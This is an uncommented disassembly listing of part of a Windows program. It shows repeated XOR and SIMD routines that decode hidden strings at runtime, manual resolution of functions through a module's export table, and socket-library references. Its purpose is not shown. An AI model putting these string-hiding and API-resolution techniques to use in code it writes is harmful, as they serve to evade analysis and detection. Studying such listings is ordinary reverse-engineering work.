call fcn.140010a40
mov rbx, rax
movzx eax, byte [rax + 5]
test al, al
je 0x14000c29a
xor byte [rbx], 0x35
xor byte [rbx + 1], 0x36
xor byte [rbx + 2], 0x37
xor byte [rbx + 3], 0x38
xor byte [rbx + 4], 0x39
xor al, 0x3a
mov byte [rbx + 5], al
lea rcx, [0x140103828]
call fcn.1400127c0
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call rdi
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x1401034a4], r15d
movss xmm1, dword [0x1400eecc4]
xorps xmm0, xmm0
call fcn.140033dc0
movaps xmm2, xmm9
movaps xmm1, xmm10
lea rcx, [rbp + 0xa8]
call fcn.1400020f0
mov rbx, rax
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x9a]
call fcn.140010be0
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x14000c473
mov r8d, r15d
cmp r12d, 2
jl 0x14000c42d
movdqa xmm4, xmmword [0x1400eef50]
mov eax, 5
movd xmm5, eax
mov eax, Ordinal_35
movd xmm6, eax
movdqa xmm2, xmmword [0x1400eed60]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400eed90]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
mov eax, dword [0x1400eee20]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x1400eed80]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400eed90]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14000c440
mov rdx, rbx
mov rcx, r10
call fcn.1400600f0
test al, al
je 0x14000c489
mov dword [0x1401034a4], r15d
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0x99]
call fcn.140010c60
mov r10, rax
cmp byte [rax + 0x21], 0
je 0x14000c653
mov r8d, r15d
cmp r12d, 2
jl 0x14000c60b
movdqa xmm5, xmmword [0x1400eed60]
movdqa xmm4, xmmword [0x1400eef50]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [0x1400eed90]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x1400eee20]
movdqa xmmword [rbp + 0x10], xmm0
mov rcx, r10
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14000c500
cmp r8d, 0x22
jge 0x14000c653
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x14000c620
mov rcx, r10
call fcn.14005f4f0
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp]
call fcn.140010c90
mov r9, rax
cmp byte [rax + 0x16], 0
je 0x14000c813
cmp r12d, 2
jl 0x14000c7cd
movdqa xmm5, xmmword [0x1400eed60]
movdqa xmm4, xmmword [0x1400eef50]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [0x1400eed90]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x1400eee20]
movdqa xmmword [rbp + 0x10], xmm0
mov rcx, r9
mov edx, dword [rbp + 0x10]
movd xmm2, r15d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r15 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r15d, 8
mov eax, r15d
lea rcx, [rcx + 8]
cmp r15d, 0x10
jl 0x14000c6c0
cmp eax, 0x17
jge 0x14000c813
movsxd r8, r15d
add r8, r9
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r15d
add edx, r15d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r15b
sub al, cl
add al, 0x35
xor byte [r8], al
inc r15d
lea r8, [r8 + 1]
cmp r15d, 0x17
jl 0x14000c7e0
mov rcx, r9
call fcn.14005f4f0
jmp 0x1400108ac
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov edi, dword [rcx + rdx*4]
add rdi, r9
jmp 0x14000c260
lea rcx, [0x1401020c8]
call fcn.140032dc0
movss xmm0, dword [0x1400eebe0]
call fcn.140032df0
lea rdx, [rbp + 0x104]
lea rcx, [rbp]
call fcn.140010960
movzx ecx, byte [rax + 1]
test cl, cl
je 0x14000c87a
xor byte [rax], 0x35
xor cl, 0x36
mov byte [rax + 1], cl
mov r8d, Ordinal_301
lea rdx, reloc.WS2_32.dll_accept
mov rcx, rax
call fcn.14002f640
mov esi, 4
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
lea r13, [0x140103928]
movss xmm6, dword [0x1400eec94]
mov eax, dword [rsi + rdi]
cmp dword [0x140103918], eax
jle 0x14000c8f8
lea rcx, [0x140103918]
call fcn.1400d3868
cmp dword [0x140103918], 0xffffffff
jne 0x14000c8f8
movss dword [rsp + 0x20], xmm6
movss xmm1, dword [0x1400eec60]
movaps xmm3, xmm1
movaps xmm2, xmm1
mov rcx, r13
call fcn.140005e20
nop
lea rcx, [0x140103918]
call fcn.1400d37fc
lea rbx, [0x140103908]
mov eax, dword [rsi + rdi]
cmp dword [0x14010391c], eax
jle 0x14000c948
lea rcx, [0x14010391c]
call fcn.1400d3868
cmp dword [0x14010391c], 0xffffffff
jne 0x14000c948
movss dword [rsp + 0x20], xmm6
movss xmm1, dword [0x1400eec58]
movaps xmm3, xmm1
movaps xmm2, xmm1
mov rcx, rbx
call fcn.140005e20
nop
lea rcx, [0x14010391c]
call fcn.1400d37fc
mov r8b, 1
xor edx, edx
lea ecx, [rdx + 2]
call fcn.14005ed70
movss xmm1, dword [0x1400eec84]
mov ecx, 1
call fcn.14005da90
mov rax, qword [0x1401034f8]
mov rcx, qword [rax + 0x50]
mov rcx, qword [rcx + 0x50]
mov rcx, qword [rcx + 8]
call fcn.140032aa0
lea rcx, [0x140103750]
call fcn.1400127c0
mov rcx, rax
call fcn.14005f4f0
call fcn.140032b40
call fcn.140061ba0
mov rdx, rbx
cmp dword [0x1401034a0], 0
cmove rdx, r13
mov ecx, reloc.WS2_32.dll_setsockopt
call fcn.140024570
movss xmm8, dword [0x1400eec7c]
mov dword [rbp + 0x50], 0x42c80000
movss xmm9, dword [0x1400eec6c]
mov dword [rbp + 0x54], 0x42480000
mov eax, dword [0x1400ed8fc]
mov dword [rbp + 0x24], eax
movzx eax, word [0x1400ed900]
mov word [rbp + 0x28], ax
mov byte [rbp + 0x24], 0x46
xor byte [rbp + 0x25], 0x36
xor byte [rbp + 0x26], 0x37
xor byte [rbp + 0x27], 0x38
xor al, 0x39
mov byte [rbp + 0x28], al
xor byte [rbp + 0x29], 0x3a
xor r8d, r8d
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x24]
call fcn.14005fd90
test al, al
je 0x14000ca21
mov dword [0x1401034a0], r15d
call fcn.1400613c0
mov rdx, rbx
cmp dword [0x1401034a0], 1
cmove rdx, r13
mov ecx, reloc.WS2_32.dll_setsockopt
call fcn.140024570
movaps xmm2, xmm9
movaps xmm1, xmm8
lea rcx, [rbp + 0xa8]
call fcn.1400020f0
mov rdi, rax
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x99]
call fcn.140010cc0
mov rcx, rax
cmp byte [rax + 7], 0
je 0x14000cbd3
cmp r12d, 2
jl 0x14000cb8b
movdqa xmm4, xmmword [0x1400eef50]
mov esi, 5
movd xmm5, esi
mov eax, Ordinal_35
movd xmm6, eax
movdqa xmm2, xmmword [0x1400eed60]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400eed90]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
mov eax, dword [0x1400eee20]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
movdqa xmm3, xmmword [0x1400eed80]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400eed90]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
jmp 0x14000cbd8
mov r9, rcx
mov r8d, r15d
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, r8b
sub al, dl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14000cba0
mov esi, 5
mov rdx, rdi
call fcn.1400600f0
test al, al
je 0x14000cbf8
mov eax, 1
mov dword [0x1401034a0], eax
jmp 0x14000cbfe
mov eax, dword [0x1401034a0]
cmp eax, 2
cmove rbx, r13
mov rdx, rbx
mov ecx, reloc.WS2_32.dll_setsockopt
call fcn.140024570
movaps xmm2, xmm9
movaps xmm1, xmm8
lea rcx, [rbp + 0x1e8]
call fcn.1400020f0
mov rbx, rax
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x9a]
call fcn.140010cd0
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14000cc69
xor byte [rax], 0x35
xor byte [rax + 1], 0x36
xor byte [rax + 2], 0x37
xor byte [rax + 3], 0x38
xor byte [rax + 4], 0x39
xor byte [rax + 5], 0x3a
xor byte [rax + 6], 0x3b
xor byte [rax + 7], 0x3c
xor cl, 0x3d
mov byte [rax + 8], cl
mov rdx, rbx
mov rcx, rax
call fcn.1400600f0
test al, al
je 0x14000cc86
mov dword [0x1401034a0], 2
mov ebx, Ordinal_50
nop dword [rax + rax]
call fcn.1400613c0
sub rbx, 1
jne 0x14000cc90
lea ecx, [rbx + 2]
call fcn.1400245d0
call fcn.14005e740
movabs r13, 0x30abb4f851588039
mov eax, dword [0x1401034a0]
test eax, eax
jne 0x14000f6a0
call fcn.1400613c0
call fcn.1400613c0
call fcn.1400613c0
movups xmm0, xmmword [0x1400ed858]
movups xmmword [rbp + 0x3e0], xmm0
movsd xmm0, qword [0x1400ed868]
movsd qword [rbp + 0x3f0], xmm0
movzx eax, byte [0x1400ed870]
mov byte [rbp + 0x3f8], al
mov r8d, r15d
mov ebx, Ordinal_35
cmp r12d, 2
jl 0x14000ce5b
movdqa xmm5, xmmword [0x1400eed60]
movdqa xmm4, xmmword [0x1400eef50]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400eed90]
movd xmm8, ebx
movdqa xmm0, xmmword [0x1400eee20]
movdqa xmmword [rbp + 0x10], xmm0
lea rcx, [rbp + 0x3e4]
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14000cd50
cmp r8d, 0x19
jge 0x14000cea3
movsxd rax, r8d
lea r9, [rbp + 0x3e0]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x14000ce70
lea rcx, [rbp + 0x3e0]
call fcn.14005f4f0
call fcn.1400613c0
cmp byte [0x140103480], 0
jne 0x14000cf9a
lea rax, [rbp + 0x3e0]
mov qword [rbp + 0xa8], rax
mov eax, dword [str.FBVLLI_]
mov dword [rbp + 0x80], eax
movzx ecx, word [0x1400eda84]
mov word [rbp + 0x84], cx
movzx eax, byte [0x1400eda86]
mov byte [rbp + 0x80], reloc.WS2_32.dll_WSAStartup
xor byte [rbp + 0x81], 0x36
xor byte [rbp + 0x82], 0x37
xor byte [rbp + 0x83], 0x38
xor cl, 0x39
mov byte [rbp + 0x84], cl
xor byte [rbp + 0x85], 0x3a
xor al, 0x3b
mov byte [rbp + 0x86], al
movzx edx, byte [rbp]
lea rcx, [rbp + 0x3e0]
call fcn.140005dd0
nop
lea rax, [rbp + 0x80]
mov r8, r14
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14000cf40
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x3e0]
call fcn.140015a50
nop
lea r8, [rbp + 0x3e0]
lea rdx, [rbp + 0xb8]
lea rcx, [0x140103610]
call fcn.140083430
mov rdx, rax
lea rcx, [0x1401035e8]
call fcn.140012860
lea rcx, [rbp + 0xb8]
call fcn.140012800
mov byte [0x140103480], 1
cmp byte [0x140103482], 0
jne 0x14000d197
lea rax, [rbp + 0x3e0]
mov qword [rbp + 0xa8], rax
mov rax, qword [str._FSYM___]
mov qword [rbp + 0x50], rax
cmp byte [reloc.WLDAP32.dll_Ordinal_60], 0
je 0x14000d123
cmp r12d, 2
jl 0x14000d0db
movdqa xmm4, xmmword [0x1400eef50]
movd xmm6, esi
movd xmm5, ebx
movdqa xmm2, xmmword [0x1400eed60]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400eed90]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
mov eax, dword [0x1400eee20]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x50]
xorps xmm2, xmm1
movd dword [rbp + 0x50], xmm2
movdqa xmm3, xmmword [0x1400eed80]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400eed90]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x54]
xorps xmm2, xmm1
movd dword [rbp + 0x54], xmm2
jmp 0x14000d123
lea r9, [rbp + 0x50]
mov r8d, r15d
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14000d0f0
movzx edx, byte [rbp]
lea rcx, [rbp + 0x3e0]
call fcn.140005dd0
nop
lea rax, [rbp + 0x50]
mov r8, r14
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000d140
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x3e0]
call fcn.140015a50
nop
lea r8, [rbp + 0x3e0]
lea rdx, [rbp + 0xb8]
lea rcx, [0x140103610]
call fcn.140083430
mov rdx, rax
lea rcx, [0x140103588]
call fcn.140012860
lea rcx, [rbp + 0xb8]
call fcn.140012800
mov byte [0x140103482], 1
mov rdx, qword [0x1401037f0]
mov rax, qword [0x1401037f8]
sub rax, rdx
sar rax, 6
test rax, rax
je 0x1400108f5
add rdx, 0x20
lea rcx, [rbp + 0xb8]
call fcn.140012960
mov rcx, rax
call fcn.140010f70
mov qword [rbp + 0x400], rax
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0x260]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
movups xmm0, xmmword [rbp + 0x260]
movaps xmmword [rbp + 0x290], xmm0
movups xmm1, xmmword [rbp + 0x270]
movaps xmmword [rbp + 0x2a0], xmm1
mov eax, dword [rbp + 0x280]
mov dword [rbp + 0x2b0], eax
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x140]
call fcn.140010cf0
mov r10, rax
movsd xmm0, qword [str.pNGQK_exJZzaB]
movsd qword [rbp + 0x160], xmm0
mov ecx, dword [0x1400ed880]
mov dword [rbp + 0x168], ecx
movzx ecx, word [0x1400ed884]
mov word [rbp + 0x16c], cx
cmp byte [0x1400ed885], 0
je 0x14000d3c3
mov r8d, r15d
cmp r12d, 2
jl 0x14000d37e
movdqa xmm4, xmmword [0x1400eef50]
movd xmm6, esi
movd xmm5, ebx
movdqa xmm2, xmmword [0x1400eed60]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400eed90]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
mov eax, dword [0x1400eee20]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.pNGQK_exJZzaB]
xorps xmm2, xmm0
movd dword [rbp + 0x160], xmm2
movdqa xmm3, xmmword [0x1400eed80]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400eed90]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x164]
xorps xmm2, xmm1
movd dword [rbp + 0x164], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x160]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14000d390
lea rax, [rbp + 0x160]
mov r9, r14
nop dword [rax]
inc r9
cmp byte [rax + r9], 0
jne 0x14000d3d0
lea r8, [rbp + 0x160]
xor edx, edx
mov rcx, r10
call fcn.140017fc0
mov rdx, rax
lea rcx, [rbp + 0x520]
call fcn.1400128f0
nop
lea rcx, [rbp + 0x140]
call fcn.140012800
lea rcx, [0x1401035e8]
call fcn.1400127c0
mov rcx, rax
call fcn.14005f4f0
call fcn.1400613c0
lea rcx, [0x140103588]
call fcn.1400127c0
mov rcx, rax
call fcn.14005f4f0
call fcn.1400613c0
lea rcx, [rbp + 0x520]
call fcn.1400127c0
mov rcx, rax
call fcn.14005f4f0
mov ebx, Ordinal_41
call fcn.1400613c0
sub rbx, 1
jne 0x14000d452
call fcn.1400613c0
movss xmm6, dword [0x1400eecc4]
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140033dc0
call fcn.1400613c0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140033dc0
call fcn.1400613c0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140033dc0
call fcn.1400613c0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140033dc0
call fcn.1400613c0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140033dc0
call fcn.1400613c0
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140033dc0
mov dword [rbp + 0x1e0], 0x43480000
mov dword [rbp + 0x1e4], 0x42480000
mov eax, dword [str.X__ZN_]
mov dword [rbp + 0x78], eax
movzx ecx, word [0x1400e8a0c]
mov word [rbp + 0x7c], cx
movzx eax, byte [0x1400e8a0e]
mov byte [rbp + 0x78], 0x49
xor byte [rbp + 0x79], 0x36
xor byte [rbp + 0x7a], 0x37
xor byte [rbp + 0x7b], 0x38
xor cl, 0x39
mov byte [rbp + 0x7c], cl
xor byte [rbp + 0x7d], 0x3a
xor al, 0x3b
mov byte [rbp + 0x7e], al
xor r8d, r8d
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x78]
call fcn.14005fd90
test al, al
je 0x14000f68e
mov eax, dword [str.Title]
mov dword [rbp + 0x8b0], eax
movzx eax, word [0x1400e77a0]
mov word [rbp + 0x8b4], ax
xor edx, edx
mov r8d, 0xfe
lea rcx, [rbp + 0x8b6]
call sub.VCRUNTIME140.dll_memset
mov byte [rbp + 0x9c0], bl
movabs rax, 0x29e0d7d04247af23
mov qword [rbp + 0x1b0], rax
movabs rax, 0xfdfb4b50e4b6383b
mov qword [rbp + 0x1b8], rax
movabs rax, 0x5185f99d2731c665
mov qword [rbp + 0x820], rax
movabs rbx, 0xfdfb4b50e4b6385e
mov qword [rbp + 0x828], rbx
movdqa xmm0, xmmword [rbp + 0x820]
xorps xmm0, xmmword [rbp + 0x1b0]
movdqa xmmword [rbp + 0x1b0], xmm0
lea r8, [rbp + 0x1b0]
mov edx, 0x104
lea rcx, [rbp + 0x9c0]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x340], xmm0
movups xmmword [rbp + 0x350], xmm0
movups xmmword [rbp + 0x360], xmm0
